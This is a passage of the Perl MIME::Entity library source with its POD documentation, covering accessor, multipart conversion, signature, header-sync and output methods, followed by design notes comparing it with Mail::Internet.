    else {             ### getting body lines...
	my $lines = [];
	my $lh = IO::Lines->new($lines);
	$self->print_body($lh);
	return $lines;
    }
}

#------------------------------

=item bodyhandle [VALUE]

I<Instance method.>
Get or set an abstract object representing the body.

If C<VALUE> I<is not> given, the current bodyhandle is returned.
If C<VALUE> I<is> given, the bodyhandle is set to the new value,
and the previous value is returned.

=cut

sub bodyhandle {
    my ($self, $newvalue) = @_;
    my $value = $self->{ME_Bodyhandle};
    $self->{ME_Bodyhandle} = $newvalue if (@_ > 1);
    $value;
}

#------------------------------

=item effective_type [MIMETYPE]

I<Instance method.>
Set/get the I<effective> MIME type of this entity.  This is I<usually>
identical to the actual (or defaulted) MIME type, but in some cases 
it differs.  For example, from RFC-2045:

   Any entity with an unrecognized Content-Transfer-Encoding must be
   treated as if it has a Content-Type of "application/octet-stream",
   regardless of what the Content-Type header field actually says.

Why? because if we can't decode the message, then we have to take
the bytes as-is, in their (unrecognized) encoded form.  So the
message ceases to be a "text/foobar" and becomes a bunch of undecipherable
bytes -- in other words, an "application/octet-stream".

Such an entity, if parsed, would have its effective_type() set to
C<"application/octet_stream">, although the mime_type() and the contents 
of the header would remain the same.

If there is no known effective type, the method just returns what 
mime_type() would.

B<Warning:> the effective type is "sticky"; once set, that effective_type()
will always be returned even if the conditions that necessitated setting
the effective type become no longer true.

=cut

sub effective_type {
    my $self = shift;
    $self->{ME_EffType} = shift if @_;
    return ($self->{ME_EffType} ? lc($self->{ME_EffType}) : $self->mime_type);
}


#------------------------------

=item epilogue [LINES]

I<Instance method.>
Get/set the text of the epilogue, as an array of newline-terminated LINES.
Returns a reference to the array of lines, or undef if no epilogue exists.

If there is a epilogue, it is output when printing this entity; otherwise,
a default epilogue is used.  Setting the epilogue to undef (not []!) causes 
it to fallback to the default.

=cut

sub epilogue {
    my ($self, $lines) = @_;
    $self->{ME_Epilogue} = $lines if @_ > 1;
    $self->{ME_Epilogue};
}

#------------------------------

=item head [VALUE]

I<Instance method.>
Get/set the head. 

If there is no VALUE given, returns the current head.  If none
exists, an empty instance of MIME::Head is created, set, and returned.

B<Note:> This is a patch over a problem in Mail::Internet, which doesn't 
provide a method for setting the head to some given object.

=cut

sub head { 
    my ($self, $value) = @_;
    (@_ > 1) and $self->{'mail_inet_head'} = $value;
    $self->{'mail_inet_head'} ||= new MIME::Head;       ### KLUDGE!
}

#------------------------------

=item is_multipart

I<Instance method.>
Does this entity's effective MIME type indicate that it's a multipart entity?
Returns undef (false) if the answer couldn't be determined, 0 (false)
if it was determined to be false, and true otherwise.
Note that this says nothing about whether or not parts were extracted.

NOTE: we switched to effective_type so that multiparts with 
bad or missing boundaries could be coerced to an effective type
of C<application/x-unparseable-multipart>.


=cut

sub is_multipart {
    my $self = shift;
    $self->head or return undef;        ### no head, so no MIME type!
    my ($type, $subtype) = split('/', $self->effective_type);
    (($type eq 'multipart') ? 1 : 0);
}

#------------------------------

=item mime_type

I<Instance method.>
A purely-for-convenience method.  This simply relays the request to the 
associated MIME::Head object. 
If there is no head, returns undef in a scalar context and
the empty array in a list context.

B<Before you use this,> consider using effective_type() instead,
especially if you obtained the entity from a MIME::Parser.

=cut

sub mime_type {
    my $self = shift;
    $self->head or return (wantarray ? () : undef);
    $self->head->mime_type;
}

#------------------------------

=item open READWRITE

I<Instance method.>
A purely-for-convenience method.  This simply relays the request to the 
associated MIME::Body object (see MIME::Body::open()). 
READWRITE is either 'r' (open for read) or 'w' (open for write).

If there is no body, returns false.

=cut

sub open {
    my $self = shift;
    $self->bodyhandle and $self->bodyhandle->open(@_);
}

#------------------------------

=item parts

=item parts INDEX

=item parts ARRAYREF

I<Instance method.>
Return the MIME::Entity objects which are the sub parts of this
entity (if any).

I<If no argument is given,> returns the array of all sub parts, 
returning the empty array if there are none (e.g., if this is a single 
part message, or a degenerate multipart).  In a scalar context, this 
returns you the number of parts.

I<If an integer INDEX is given,> return the INDEXed part, 
or undef if it doesn't exist.

I<If an ARRAYREF to an array of parts is given,> then this method I<sets> 
the parts to a copy of that array, and returns the parts.  This can
be used to delete parts, as follows:

    ### Delete some parts of a multipart message:
    $msg->parts([ grep { keep_part($_) } $msg->parts ]);
    

B<Note:> for multipart messages, the preamble and epilogue are I<not> 
considered parts.  If you need them, use the C<preamble()> and C<epilogue()> 
methods.

B<Note:> there are ways of parsing with a MIME::Parser which cause
certain message parts (such as those of type C<message/rfc822>)
to be "reparsed" into pseudo-multipart entities.  You should read the
documentation for those options carefully: it I<is> possible for
a diddled entity to not be multipart, but still have parts attached to it! 

=cut

sub parts {
    my $self = shift;
    ref($_[0]) and return @{$self->{ME_Parts} = [@{$_[0]}]};  ### set the parts
    (@_ ? $self->{ME_Parts}[$_[0]] : @{$self->{ME_Parts}});
}

#------------------------------

=item preamble [LINES]

I<Instance method.>
Get/set the text of the preamble, as an array of newline-terminated LINES.
Returns a reference to the array of lines, or undef if no preamble exists
(e.g., if this is a single-part entity).

If there is a preamble, it is output when printing this entity; otherwise,
a default preamble is used.  Setting the preamble to undef (not []!) causes 
it to fallback to the default.

=cut

sub preamble {
    my ($self, $lines) = @_;
    $self->{ME_Preamble} = $lines if @_ > 1;
    $self->{ME_Preamble};
}





=back

=cut




#==============================

=head2 Manipulation

=over 4

=cut

#------------------------------

=item make_multipart [SUBTYPE]

I<Instance method.>
Force the entity to be a multipart, if it isn't already.
The content headers from the top-level are bumped down to the demoted part.
The actual type will be "multipart/SUBTYPE" (default SUBTYPE is "mixed").

Returns 'DONE'    if we really did inflate a singlepart to a multipart.
Returns 'ALREADY' (and does nothing) if entity is I<already> multipart.

=cut

sub make_multipart {
    my ($self, $subtype) = @_;
    my $tag;
    $subtype ||= 'mixed';

    ### Trap for simple case:
    return 'ALREADY' if $self->is_multipart;       ### already a multipart?

    ### Rip out our guts, and spew them into our future part:
    my $part = bless {%$self}, ref($self);         ### part is a shallow copy
    %$self = ();                                   ### lobotomize ourselves!
    $self->head($part->head->dup);                 ### dup the header
    
    ### Remove content headers from top-level, and set it up as a multipart:
    foreach $tag (grep {/^content-/i} $self->head->tags) {
	$self->head->delete($tag);
    }
    $self->head->mime_attr('Content-type'          => "multipart/$subtype");
    $self->head->mime_attr('Content-type.boundary' => make_boundary());

    ### Remove NON-content headers from the part:
    foreach $tag (grep {!/^content-/i} $part->head->tags) {
	$part->head->delete($tag);
    }

    ### Add the [sole] part:
    $self->{ME_Parts} = []; 
    $self->add_part($part);
    'DONE';
}

#------------------------------

=item make_singlepart

I<Instance method.>
If the entity is a multipart message with one part, this tries hard to
rewrite it as a singlepart, by replacing the content (and content headers)
of the top level with those of the part.  Also crunches 0-part multiparts
into singleparts.

Returns 'DONE'    if we really did collapse a multipart to a singlepart.
Returns 'ALREADY' (and does nothing) if entity is already a singlepart. 
Returns '0'       (and does nothing) if it can't be made into a singlepart.

=cut

sub make_singlepart {
    my $self = shift;

    ### Trap for simple cases:
    return 'ALREADY' if !$self->is_multipart;      ### already a singlepart?
    return '0' if ($self->parts > 1);              ### can this even be done?

    ### Do it:
    if ($self->parts == 1) {    ### one part
	my $part = $self->parts(0);
	my $tag;

	### Get rid of all our existing content info:
	foreach $tag (grep {/^content-/i} $self->head->tags) {
	    $self->head->delete($tag);
	}
	
	### Populate ourselves with any content info from the part:
	foreach $tag (grep {/^content-/i} $part->head->tags) {
	    foreach ($part->head->get($tag)) { $self->head->add($tag, $_) }
	}

	### Save reconstructed header, replace our guts, and restore header:
	my $new_head = $self->head;
	%$self = %$part;               ### shallow copy is ok!
	$self->head($new_head);

	### One more thing: the part *may* have been a multi with 0 or 1 parts!
	return $self->make_singlepart(@_) if $self->is_multipart;
    }
    else {                      ### no parts!
	$self->head->mime_attr('Content-type'=>'text/plain');   ### simple
    }
    'DONE';
}

#------------------------------

=item purge

I<Instance method.>
Recursively purge (e.g., unlink) all external (e.g., on-disk) body parts 
in this message.  See MIME::Body::purge() for details.

I wouldn't attempt to read those body files after you do this, for
obvious reasons.  As of MIME-tools 4.x, each body's path I<is> undefined
after this operation.  I warned you I might do this; truly I did.

I<Thanks to Jason L. Tibbitts III for suggesting this method.>

=cut

sub purge {
    my $self = shift;
    $self->bodyhandle and $self->bodyhandle->purge;      ### purge me
    foreach ($self->parts) { $_->purge }                 ### recurse
    1;
}

#------------------------------
#
# _do_remove_sig
#
# Private.  Remove a signature within NLINES lines from the end of BODY.
# The signature must be flagged by a line containing only "-- ".

sub _do_remove_sig {
    my ($body, $nlines) = @_;
    $nlines ||= 10;
    my $i = 0;

    my $line = int(@$body) || return;
    while ($i++ < $nlines and $line--) {
	if ($body->[$line] =~ /\A--[ \040][\r\n]+\Z/) {
	    $#{$body} = $line-1;
	    return;
	}
    }
}

#------------------------------

=item remove_sig [NLINES]

I<Instance method, override.>
Attempts to remove a user's signature from the body of a message. 

It does this by looking for a line matching C</^-- $/> within the last 
C<NLINES> of the message.  If found then that line and all lines after 
it will be removed. If C<NLINES> is not given, a default value of 10 
will be used.  This would be of most use in auto-reply scripts.

For MIME entity, this method is reasonably cautious: it will only
attempt to un-sign a message with a content-type of C<text/*>.

If you send remove_sig() to a multipart entity, it will relay it to 
the first part (the others usually being the "attachments").

B<Warning:> currently slurps the whole message-part into core as an
array of lines, so you probably don't want to use this on extremely 
long messages.

Returns truth on success, false on error.

=cut

sub remove_sig {
    my $self = shift;
    my $nlines = shift;

    ### Handle multiparts:
    $self->is_multipart and return $self->{ME_Parts}[0]->remove_sig(@_);

    ### Refuse non-textual unless forced:
    textual_type($self->head->mime_type)
	or return error "I won't un-sign a non-text message unless I'm forced";
    
    ### Get body data, as an array of newline-terminated lines:
    $self->bodyhandle or return undef;
    my @body = $self->bodyhandle->as_lines;

    ### Nuke sig:
    _do_remove_sig(\@body, $nlines);

    ### Output data back into body:
    my $io = $self->bodyhandle->open("w");
    foreach (@body) { $io->print($_) };  ### body data
    $io->close;

    ### Done!
    1;       
}

#------------------------------

=item sign PARAMHASH

I<Instance method, override.>
Append a signature to the message.  The params are:

=over 4

=item Attach

Instead of appending the text, add it to the message as an attachment.
The disposition will be C<inline>, and the description will indicate
that it is a signature.  The default behavior is to append the signature 
to the text of the message (or the text of its first part if multipart).
I<MIME-specific; new in this subclass.>

=item File

Use the contents of this file as the signature.  
Fatal error if it can't be read.
I<As per superclass method.>

=item Force

Sign it even if the content-type isn't C<text/*>.  Useful for
non-standard types like C<x-foobar>, but be careful!
I<MIME-specific; new in this subclass.>

=item Remove

Normally, we attempt to strip out any existing signature.
If true, this gives us the NLINES parameter of the remove_sig call.
If zero but defined, tells us I<not> to remove any existing signature.
If undefined, removal is done with the default of 10 lines.
I<New in this subclass.>

=item Signature

Use this text as the signature.  You can supply it as either
a scalar, or as a ref to an array of newline-terminated scalars.
I<As per superclass method.>

=back

For MIME messages, this method is reasonably cautious: it will only
attempt to sign a message with a content-type of C<text/*>, unless
C<Force> is specified.

If you send this message to a multipart entity, it will relay it to 
the first part (the others usually being the "attachments").

B<Warning:> currently slurps the whole message-part into core as an
array of lines, so you probably don't want to use this on extremely 
long messages.

Returns true on success, false otherwise.

=cut

sub sign {
    my $self = shift;
    my %params = @_;
    my $io;

    ### If multipart and not attaching, try to sign our first part:
    if ($self->is_multipart and !$params{Attach}) {
	return $self->parts(0)->sign(@_);
    }

    ### Get signature:
    my $sig;
    if (defined($sig = $params{Signature})) {    ### scalar or array
	$sig = (ref($sig) ? join('', @$sig) : $sig);
    }
    elsif ($params{File}) {                      ### file contents
	CORE::open SIG, $params{File} or croak "can't open $params{File}: $!";
	$sig = join('', SIG->getlines);
	close SIG;
    }
    else {
	croak "no signature given!";
    }

    ### Add signature to message as appropriate:
    if ($params{Attach}) {      ### Attach .sig as new part...
	return $self->attach(Type        => 'text/plain',
			     Description => 'Signature',
			     Disposition => 'inline',
			     Encoding    => '-SUGGEST',
			     Data        => $sig);
    }
    else {                      ### Add text of .sig to body data...

	### Refuse non-textual unless forced:
	($self->head->mime_type =~ m{text/}i or $params{Force}) or
	    return error "I won't sign a non-text message unless I'm forced";

	### Get body data, as an array of newline-terminated lines:
	$self->bodyhandle or return undef;
	my @body = $self->bodyhandle->as_lines;
	
	### Nuke any existing sig?
	if (!defined($params{Remove}) || ($params{Remove} > 0)) {
	    _do_remove_sig(\@body, $params{Remove});
	}

	### Output data back into body, followed by signature:
	my $line;
	$io = $self->open("w");
	foreach $line (@body) { $io->print($line) };      ### body data
	(($body[-1]||'') =~ /\n\Z/) or $io->print("\n");  ### ensure final \n
	$io->print("-- \n$sig");                          ### separator + sig
	$io->close;	
	return 1;         ### done!
    }
}

#------------------------------

=item suggest_encoding

I<Instance method.>
Based on the effective content type, return a good suggested encoding.

C<text> and C<message> types have their bodies scanned line-by-line
for 8-bit characters and long lines; lack of either means that the
message is 7bit-ok.  Other types are chosen independent of their body:

    Major type:      7bit ok?    Suggested encoding:
    -----------------------------------------------------------
    text             yes         7bit
    text             no          quoted-printable    
    message          yes         7bit
    message          no          binary    
    multipart        *           binary (in case some parts are bad)
    image, etc...    *           base64

=cut

### TO DO: resolve encodings of nested entities (possibly in sync_headers).

sub suggest_encoding {
    my $self = shift;

    my ($type) = split '/', $self->effective_type;
    if (($type eq 'text') || ($type eq 'message')) {    ### scan message body
	$self->bodyhandle || return ($self->parts ? 'binary' : '7bit');
	my ($IO, $unclean);
	if ($IO = $self->bodyhandle->open("r")) {

	    ### Scan message for 7bit-cleanliness:
	    while (defined($_ = $IO->getline)) {
		last if ($unclean = ((length($_) > 999) or /[\200-\377]/));
	    }
	    
	    ### Return '7bit' if clean; try and encode if not...
	    ### Note that encodings are not permitted for messages!
	    return ($unclean 
		    ? (($type eq 'message') ? 'binary' : 'quoted-printable')
		    : '7bit'); 
	}
    }
    else {
	return ($type eq 'multipart') ? 'binary' : 'base64';
    }
}

sub suggest_encoding_lite {
    my $self = shift;
    my ($type) = split '/', $self->effective_type;
    return (($type =~ /^(text|message|multipart)$/) ? 'binary' : 'base64');
}

#------------------------------

=item sync_headers OPTIONS

I<Instance method.>
This method does a variety of activities which ensure that
the MIME headers of an entity "tree" are in-synch with the body parts 
they describe.  It can be as expensive an operation as printing
if it involves pre-encoding the body parts; however, the aim is to
produce fairly clean MIME.  B<You will usually only need to invoke
this if processing and re-sending MIME from an outside source.>

The OPTIONS is a hash, which describes what is to be done.

=over 4


=item Length

One of the "official unofficial" MIME fields is "Content-Length".
Normally, one doesn't care a whit about this field; however, if
you are preparing output destined for HTTP, you may.  The value of
this option dictates what will be done:

B<COMPUTE> means to set a C<Content-Length> field for every non-multipart 
part in the entity, and to blank that field out for every multipart 
part in the entity. 

B<ERASE> means that C<Content-Length> fields will all
be blanked out.  This is fast, painless, and safe.

B<Any false value> (the default) means to take no action.


=item Nonstandard

Any header field beginning with "Content-" is, according to the RFC,
a MIME field.  However, some are non-standard, and may cause problems
with certain MIME readers which interpret them in different ways.

B<ERASE> means that all such fields will be blanked out.  This is
done I<before> the B<Length> option (q.v.) is examined and acted upon.

B<Any false value> (the default) means to take no action.


=back

Returns a true value if everything went okay, a false value otherwise.

=cut

sub sync_headers {
    my $self = shift;    
    my $opts = ((int(@_) % 2 == 0) ? {@_} : shift);
    my $ENCBODY;     ### keep it around until done!

    ### Get options:
    my $o_nonstandard = ($opts->{Nonstandard} || 0);
    my $o_length      = ($opts->{Length}      || 0);
    
    ### Get head:
    my $head = $self->head;
    
    ### What to do with "nonstandard" MIME fields?
    if ($o_nonstandard eq 'ERASE') {       ### Erase them...
	my $tag;
	foreach $tag ($head->tags()) {
	    if (($tag =~ /\AContent-/i) && 
		($tag !~ /\AContent-$StandardFields\Z/io)) {
		$head->delete($tag);
	    }
	}
    }

    ### What to do with the "Content-Length" MIME field?
    if ($o_length eq 'COMPUTE') {        ### Compute the content length...
	my $content_length = '';

	### We don't have content-lengths in multiparts...
	if ($self->is_multipart) {           ### multipart...
	    $head->delete('Content-length');
	}
	else {                               ### singlepart...

	    ### Get the encoded body, if we don't have it already:
	    unless ($ENCBODY) {
		$ENCBODY = tmpopen() || die "can't open tmpfile";
		$self->print_body($ENCBODY);    ### write encoded to tmpfile
	    }
	    
	    ### Analyse it:
	    $ENCBODY->seek(0,2);                ### fast-forward
	    $content_length = $ENCBODY->tell;   ### get encoded length
	    $ENCBODY->seek(0,0);                ### rewind 	
	    
	    ### Remember:   
	    $self->head->replace('Content-length', $content_length);	
	}
    }
    elsif ($o_length eq 'ERASE') {         ### Erase the content-length...
	$head->delete('Content-length');
    }

    ### Done with everything for us!
    undef($ENCBODY);
 
    ### Recurse:
    my $part;
    foreach $part ($self->parts) { $part->sync_headers($opts) or return undef }
    1;
}

#------------------------------

=item tidy_body

I<Instance method, override.>
Currently unimplemented for MIME messages.  Does nothing, returns false.

=cut

sub tidy_body {
    carp "MIME::Entity::tidy_body currently does nothing" if $^W;
    0;
}

=back

=cut





#==============================

=head2 Output 

=over 4

=cut

#------------------------------

=item dump_skeleton [FILEHANDLE]

I<Instance method.>
Dump the skeleton of the entity to the given FILEHANDLE, or
to the currently-selected one if none given.  

Each entity is output with an appropriate indentation level,
the following selection of attributes:

    Content-type: multipart/mixed
    Effective-type: multipart/mixed
    Body-file: NONE
    Subject: Hey there!
    Num-parts: 2

This is really just useful for debugging purposes; I make no guarantees
about the consistency of the output format over time.

=cut

sub dump_skeleton {
    my ($self, $fh, $indent) = @_;
    $fh or $fh = select;
    defined($indent) or $indent = 0;
    my $ind = '    ' x $indent;
    my $part;
    no strict 'refs';


    ### The content type:
    print $fh $ind,"Content-type: ",   ($self->mime_type||'UNKNOWN'),"\n";
    print $fh $ind,"Effective-type: ", ($self->effective_type||'UNKNOWN'),"\n";

    ### The name of the file containing the body (if any!):
    my $path = ($self->bodyhandle ? $self->bodyhandle->path : undef);
    print $fh $ind, "Body-file: ", ($path || 'NONE'), "\n";

    ### The recommended file name (thanks to Allen Campbell):
    my $filename = $self->head->recommended_filename;
    print $fh $ind, "Recommended-filename: ", $filename, "\n" if ($filename);

    ### The subject (note: already a newline if 2.x!)
    my $subj = $self->head->get('subject',0);
    defined($subj) or $subj = '';
    chomp($subj);
    print $fh $ind, "Subject: $subj\n" if $subj;

    ### The parts:
    my @parts = $self->parts;
    print $fh $ind, "Num-parts: ", int(@parts), "\n" if @parts;
    print $fh $ind, "--\n";
    foreach $part (@parts) {
	$part->dump_skeleton($fh, $indent+1);
    }
}

#------------------------------

=item print [OUTSTREAM]

I<Instance method, override.>
Print the entity to the given OUTSTREAM, or to the currently-selected
filehandle if none given.  OUTSTREAM can be a filehandle, or any object 
that reponds to a print() message. 

The entity is output as a valid MIME stream!  This means that the 
header is always output first, and the body data (if any) will be 
encoded if the header says that it should be.
For example, your output may look like this:

    Subject: Greetings
    Content-transfer-encoding: base64
     
    SGkgdGhlcmUhCkJ5ZSB0aGVyZSEK

I<If this entity has MIME type "multipart/*",> 
the preamble, parts, and epilogue are all output with appropriate
boundaries separating each.  
Any bodyhandle is ignored:

    Content-type: multipart/mixed; boundary="*----*"
    Content-transfer-encoding: 7bit
    
    [Preamble]
    --*----*
    [Entity: Part 0]
    --*----*
    [Entity: Part 1]
    --*----*--
    [Epilogue]

I<If this entity has a single-part MIME type with no attached parts,>
then we're looking at a normal singlepart entity: the body is output 
according to the encoding specified by the header.  
If no body exists, a warning is output and the body is treated as empty:

    Content-type: image/gif
    Content-transfer-encoding: base64
    
    [Encoded body]

I<If this entity has a single-part MIME type but it also has parts,> 
then we're probably looking at a "re-parsed" singlepart, usually one
of type C<message/*> (you can get entities like this if you set the 
C<parse_nested_messages(NEST)> option on the parser to true).
In this case, the parts are output with single blank lines separating each,
and any bodyhandle is ignored:

    Content-type: message/rfc822
    Content-transfer-encoding: 7bit
    
    [Entity: Part 0]
    
    [Entity: Part 1]

In all cases, when outputting a "part" of the entity, this method 
is invoked recursively.

B<Note:> the output is very likely I<not> going to be identical
to any input you parsed to get this entity.  If you're building
some sort of email handler, it's up to you to save this information.

=cut

sub print {
    my ($self, $out) = @_;
    $out = wraphandle($out || select);             ### get a printable output
    
    $self->print_header($out);   ### the header
    $out->print("\n");
    $self->print_body($out);     ### the "stuff after the header"
}

#------------------------------

=item print_body [OUTSTREAM]

I<Instance method, override.>
Print the body of the entity to the given OUTSTREAM, or to the 
currently-selected filehandle if none given.  OUTSTREAM can be a 
filehandle, or any object that reponds to a print() message. 

The body is output for inclusion in a valid MIME stream; this means 
that the body data will be encoded if the header says that it should be.

B<Note:> by "body", we mean "the stuff following the header".
A printed multipart body includes the printed representations of its subparts.

B<Note:> The body is I<stored> in an un-encoded form; however, the idea is that
the transfer encoding is used to determine how it should be I<output.>
This means that the C<print()> method is always guaranteed to get you
a sendmail-ready stream whose body is consistent with its head.
If you want the I<raw body data> to be output, you can either read it from
the bodyhandle yourself, or use:

    $ent->bodyhandle->print($outstream);

which uses read() calls to extract the information, and thus will 
work with both text and binary bodies.

B<Warning:> Please supply an OUTSTREAM.  This override method differs
from Mail::Internet's behavior, which outputs to the STDOUT if no 
filehandle is given: this may lead to confusion.

=cut

sub print_body {
    my ($self, $out) = @_;
    $out = wraphandle($out || select);             ### get a printable output
    my ($type) = split '/', lc($self->mime_type);  ### handle by MIME type

    ### Multipart...
    if ($type eq 'multipart') {
	my $boundary = $self->head->multipart_boundary; 

	### Preamble:
	my $preamble = join('', @{ $self->preamble || $DefPreamble });
	$out->print("$preamble\n") if ($preamble ne '');

	### Parts:
	my $part;
	foreach $part ($self->parts) {
	    $out->print("--$boundary\n");
	    $part->print($out);
	    $out->print("\n");           ### needed for next delim/close
	}
	$out->print("--$boundary--\n");

	### Epilogue:
	my $epilogue = join('', @{ $self->epilogue || $DefEpilogue });
	$out->print("$epilogue\n") if ($epilogue ne '');
    }

    ### Singlepart type with parts...
    ###    This makes $ent->print handle message/rfc822 bodies
    ###    when parse_nested_messages('NEST') is on [idea by Marc Rouleau].
    elsif ($self->parts) {
	my $need_sep = 0;
	my $part;
	foreach $part ($self->parts) {
	    $out->print("\n\n") if $need_sep++;
	    $part->print($out);
	}
    }

    ### Singlepart type, or no parts: output body...
    else {                     
	$self->bodyhandle ? $self->print_bodyhandle($out)
	                  : whine "missing body; treated as empty";
    }
    1;
}

#------------------------------
#
# print_bodyhandle
#
# Instance method, unpublicized.  Print just the bodyhandle, *encoded*.
#
# WARNING: $self->print_bodyhandle() != $self->bodyhandle->print()!
# The former encodes, and the latter does not! 
#
sub print_bodyhandle {
    my ($self, $out) = @_;
    $out = wraphandle($out || select);             ### get a printable output

    ### Get the encoding, defaulting to "binary" if unsupported:
    my $encoding = ($self->head->mime_encoding || 'binary');
    my $decoder = best MIME::Decoder $encoding;
    $decoder->head($self->head);      ### associate with head, if any

    ### Output the body:
    my $IO = $self->open("r")     || die "open body: $!";
    $decoder->encode($IO, $out)   || return error "encoding failed";
    $IO->close;
    1;
}

#------------------------------

=item print_header [OUTSTREAM]

I<Instance method, inherited.>
Output the header to the given OUTSTREAM.  You really should supply 
the OUTSTREAM.

=cut

### Inherited.

#------------------------------

=item stringify

I<Instance method.>
Return the entity as a string, exactly as C<print> would print it. 
The body will be encoded as necessary, and will contain any subparts.  
You can also use C<as_string()>.

=cut

sub stringify {
    my $str = '';
    shift->print(new IO::Scalar \$str);
    $str;    
}
sub as_string { shift->stringify };      ### silent BC

#------------------------------

=item stringify_body

I<Instance method.>
Return the I<encoded> message body as a string, exactly as C<print_body> 
would print it.  You can also use C<body_as_string()>.

If you want the I<unencoded> body, and you are dealing with a
singlepart message (like a "text/plain"), use C<bodyhandle()> instead:

    if ($ent->bodyhandle) {
	$unencoded_data = $ent->bodyhandle->as_string;
    }
    else {
	### this message has no body data (but it might have parts!)
    }

=cut

sub stringify_body {
    my $str = '';
    shift->print_body(new IO::Scalar \$str);
    $str;    
}
sub body_as_string { shift->stringify_body }

#------------------------------
#
# stringify_bodyhandle
#
# Instance method, unpublicized.  Stringify just the bodyhandle.

sub stringify_bodyhandle {
    my $str = '';
    shift->print_bodyhandle(new IO::Scalar \$str);
    $str;    
}
sub bodyhandle_as_string { shift->stringify_bodyhandle }

#------------------------------

=item stringify_header 

I<Instance method.>
Return the header as a string, exactly as C<print_header> would print it.
You can also use C<header_as_string()>.

=cut

sub stringify_header {
    shift->head->stringify;
}
sub header_as_string { shift->stringify_header }



__END__
1;
  
#------------------------------

=back

=head1 NOTES

=head2 Under the hood

A B<MIME::Entity> is composed of the following elements:

=over 4

=item *

A I<head>, which is a reference to a MIME::Head object
containing the header information.

=item *

A I<bodyhandle>, which is a reference to a MIME::Body object
containing the decoded body data.  This is only defined if 
the message is a "singlepart" type:

    application/*
    audio/*
    image/*
    text/*
    video/*

=item *

An array of I<parts>, where each part is a MIME::Entity object.  
The number of parts will only be nonzero if the content-type 
is I<not> one of the "singlepart" types:

    message/*        (should have exactly one part)
    multipart/*      (should have one or more parts)


=back



=head2 The "two-body problem"

MIME::Entity and Mail::Internet see message bodies differently,
and this can cause confusion and some inconvenience.  Sadly, I can't 
change the behavior of MIME::Entity without breaking lots of code already
out there.  But let's open up the floor for a few questions...

=over 4

=item What is the difference between a "message" and an "entity"?

A B<message> is the actual data being sent or received; usually
this means a stream of newline-terminated lines.
An B<entity> is the representation of a message as an object.

This means that you get a "message" when you print an "entity" 
I<to> a filehandle, and you get an "entity" when you parse a message
I<from> a filehandle.


=item What is a message body?

B<Mail::Internet:> 
The portion of the printed message after the header.

B<MIME::Entity:>
The portion of the printed message after the header.


=item How is a message body stored in an entity?

B<Mail::Internet:> 
As an array of lines.

B<MIME::Entity:> 
It depends on the content-type of the message.
For "container" types (C<multipart/*>, C<message/*>), we store the
contained entities as an array of "parts", accessed via the C<parts()>
method, where each part is a complete MIME::Entity.
For "singlepart" types (C<text/*>, C<image/*>, etc.), the unencoded
body data is referenced via a MIME::Body object, accessed via 
the C<bodyhandle()> method:

                      bodyhandle()   parts()
    Content-type:     returns:       returns:
    ------------------------------------------------------------
    application/*     MIME::Body     empty
    audio/*           MIME::Body     empty     
    image/*           MIME::Body     empty      
    message/*         undef          MIME::Entity list (usually 1)
    multipart/*       undef          MIME::Entity list (usually >0)
    text/*            MIME::Body     empty     
    video/*           MIME::Body     empty     
    x-*/*             MIME::Body     empty 

As a special case, C<message/*> is currently ambiguous: depending 
on the parser, a C<message/*> might be treated as a singlepart,
with a MIME::Body and no parts.  Use bodyhandle() as the final 
arbiter.


=item What does the body() method return?

B<Mail::Internet:> 
As an array of lines, ready for sending.

B<MIME::Entity:> 
As an array of lines, ready for sending.


=item If an entity has a body, does it have a soul as well?

The soul does not exist in a corporeal sense, the way the body does; 
it is not a solid [Perl] object.  Rather, it is a virtual object
which is only visible when you print() an entity to a file... in other
words, the "soul" it is all that is left after the body is DESTROY'ed.  


=item What's the best way to get at the body data?

B<Mail::Internet:> 
Use the body() method.

B<MIME::Entity:> 
Depends on what you want... the I<encoded> data (as it is 
transported), or the I<unencoded> data?  Keep reading...


=item How do I get the "encoded" body data?

B<Mail::Internet:> 
Use the body() method.

B<MIME::Entity:> 
Use the body() method.  You can also use:

    $entity->print_body()
    $entity->stringify_body()   ### a.k.a. $entity->body_as_string()


=item How do I get the "unencoded" body data?

B<Mail::Internet:> 
Use the body() method.

B<MIME::Entity:> 
Use the I<bodyhandle()> method!
If bodyhandle() method returns true, then that value is a 
L<MIME::Body|MIME::Body> which can be used to access the data via 
its open() method.  If bodyhandle() method returns an undefined value, 
then the entity is probably a "container" that has no real body data of
its own (e.g., a "multipart" message): in this case, you should access
the components via the parts() method.  Like this:

    if ($bh = $entity->bodyhandle) {
	$io = $bh->open;
	...access unencoded data via $io->getline or $io->read...
	$io->close;
    }
    else {
	foreach my $part (@parts) {
	    ...do something with the part...
	}
    }

You can also use:

    if ($bh = $entity->bodyhandle) {
	$unencoded_data = $bh->as_string;
    }
    else {
	...do stuff with the parts...
    }


=item What does the body() method return?

B<Mail::Internet:> 
The transport-encoded message body, as an array of lines.

B<MIME::Entity:>   
The transport-encoded message body, as an array of lines.


=item What does print_body() print?

B<Mail::Internet:> 
Exactly what body() would return to you.

B<MIME::Entity:> 
Exactly what body() would return to you.


=item Say I have an entity which might be either singlepart or multipart.
      How do I print out just "the stuff after the header"?

B<Mail::Internet:> 
Use print_body().

B<MIME::Entity:> 
Use print_body(). 


=item Why is MIME::Entity so different from Mail::Internet?

Because MIME streams are expected to have non-textual data...
possibly, quite a lot of it, such as a tar file. 

Because MIME messages can consist of multiple parts, which are most-easily 
manipulated as MIME::Entity objects themselves.

Because in the simpler world of Mail::Internet, the data of a message
and its printed representation are I<identical>... and in the MIME
world, they're not.

Because parsing multipart bodies on-the-fly, or formatting multipart 
bodies for output, is a non-trivial task.


=item This is confusing.  Can the two classes be made more compatible?

Not easily; their implementations are necessarily quite different.
Mail::Internet is a simple, efficient way of dealing with a "black box"
mail message... one whose internal data you don't care much about.  
MIME::Entity, in contrast, cares I<very much> about the message contents: 
that's its job!

=back



=head2 Design issues

=over 4

=item Some things just can't be ignored

In multipart messages, the I<"preamble"> is the portion that precedes
the first encapsulation boundary, and the I<"epilogue"> is the portion
that follows the last encapsulation boundary.

According to RFC-1521:

    There appears to be room for additional information prior 
    to the first encapsulation boundary and following the final 
    boundary.  These areas should generally be left blank, and
    implementations must ignore anything that appears before the 
    first boundary or after the last one.

    NOTE: These "preamble" and "epilogue" areas are generally 
    not used because of the lack of proper typing of these parts 
    and the lack of clear semantics for handling these areas at 
    gateways, particularly X.400 gateways.  However, rather than 
    leaving the preamble area blank, many MIME implementations 
    have found this to be a convenient place to insert an 
    explanatory note for recipients who read the message with 
    pre-MIME software, since such notes will be ignored by 
    MIME-compliant software.

In the world of standards-and-practices, that's the standard.  
Now for the practice: 

I<Some "MIME" mailers may incorrectly put a "part" in the preamble>.
